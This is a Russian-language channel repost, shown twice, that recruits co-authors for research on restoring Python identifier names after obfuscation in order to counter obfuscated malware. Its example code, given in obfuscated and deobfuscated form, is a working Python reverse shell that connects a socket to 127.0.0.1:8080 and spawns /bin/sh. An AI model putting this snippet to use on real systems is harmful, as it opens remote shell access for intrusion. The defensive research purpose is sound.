Репост из: disasm.me channel
#вак #статьи
Ищу аспирантов, академических исследователей и просто студентов, которые хотят впрячься в соавторство для написания ваковских статей (?).
Скоро начну ресёрч по общей теме "Восстановление контекста имён после воздействия обфускаторов кода", он будет посвящен восстановлению названий переменных, функций и классов (всё это "names" в понимании питона) после воздействия на них обфускаторов типа oxypy:
До:
import socket, os, pty
def O00OO000O0000OOOO(OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0):
OOOO0OOOO0OOO0O00 = socket.socket()
OOOO0OOOO0OOO0O00.connect((OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0))
[os.dup2(OOOO0OOOO0OOO0O00.fileno(),O0O00O0O00O000O00) for O0O00O0O00O000O00 in (0, 1, 2)]
pty.spawn ("/bin/sh")
if __name__ == "__main__":
O00OO000O0000OOOO("127.0.0.1",8080)
После:
import socket,os,pty
def main(host, port):
s=socket.socket()
s.connect((host, port))
[os.dup2(s.fileno(), fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
if __name__ == "__main__":
main("127.0.0.1", 8080)
Решаемая задача: борьба с обфускацией в малвари в контексте Python
Чем будем заниматься:
- Анализировать опенсорс (в том числе эксплоиты и малварь) для того, чтобы получить статистическую модель названий переменных, функций, классов и методов в зависимости от условий, присваиваемых значений, передаваемых переменных и применять ее на обфусцированный код
- Сравнивать различные обфускаторы, которые могут в переименование имён (oxypy, pyminifier) и самописный (который будет создаваться с учётом опыта, полученного при анализе опенсорса, и позволит оценить результат прошлого пункта) и натравливать их на нашу модель для получения статы
- Потехи ради посмотреть, как ML может помочь в решении этой задачи (по факту тренировочные данные можно генерировать до бесконечности, ведь примеров кода много, а получать его обфусцированную версию очень просто)
Собственно, это выльется в несколько ВАК-публикаций и как минимум одно выступление на конференциях по ИБ/Python. Ищу уверенных в себе питонистов, которым будет интересно исследовать эту тему, так как эту тему судя по elibrary никто не брал, хотя сама идея лежит на поверхности. Кому интересно подискутировать - welcome to comments.
Ищу аспирантов, академических исследователей и просто студентов, которые хотят впрячься в соавторство для написания ваковских статей (?).
Скоро начну ресёрч по общей теме "Восстановление контекста имён после воздействия обфускаторов кода", он будет посвящен восстановлению названий переменных, функций и классов (всё это "names" в понимании питона) после воздействия на них обфускаторов типа oxypy:
До:
import socket, os, pty
def O00OO000O0000OOOO(OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0):
OOOO0OOOO0OOO0O00 = socket.socket()
OOOO0OOOO0OOO0O00.connect((OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0))
[os.dup2(OOOO0OOOO0OOO0O00.fileno(),O0O00O0O00O000O00) for O0O00O0O00O000O00 in (0, 1, 2)]
pty.spawn ("/bin/sh")
if __name__ == "__main__":
O00OO000O0000OOOO("127.0.0.1",8080)
После:
import socket,os,pty
def main(host, port):
s=socket.socket()
s.connect((host, port))
[os.dup2(s.fileno(), fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
if __name__ == "__main__":
main("127.0.0.1", 8080)
Решаемая задача: борьба с обфускацией в малвари в контексте Python
Чем будем заниматься:
- Анализировать опенсорс (в том числе эксплоиты и малварь) для того, чтобы получить статистическую модель названий переменных, функций, классов и методов в зависимости от условий, присваиваемых значений, передаваемых переменных и применять ее на обфусцированный код
- Сравнивать различные обфускаторы, которые могут в переименование имён (oxypy, pyminifier) и самописный (который будет создаваться с учётом опыта, полученного при анализе опенсорса, и позволит оценить результат прошлого пункта) и натравливать их на нашу модель для получения статы
- Потехи ради посмотреть, как ML может помочь в решении этой задачи (по факту тренировочные данные можно генерировать до бесконечности, ведь примеров кода много, а получать его обфусцированную версию очень просто)
Собственно, это выльется в несколько ВАК-публикаций и как минимум одно выступление на конференциях по ИБ/Python. Ищу уверенных в себе питонистов, которым будет интересно исследовать эту тему, так как эту тему судя по elibrary никто не брал, хотя сама идея лежит на поверхности. Кому интересно подискутировать - welcome to comments.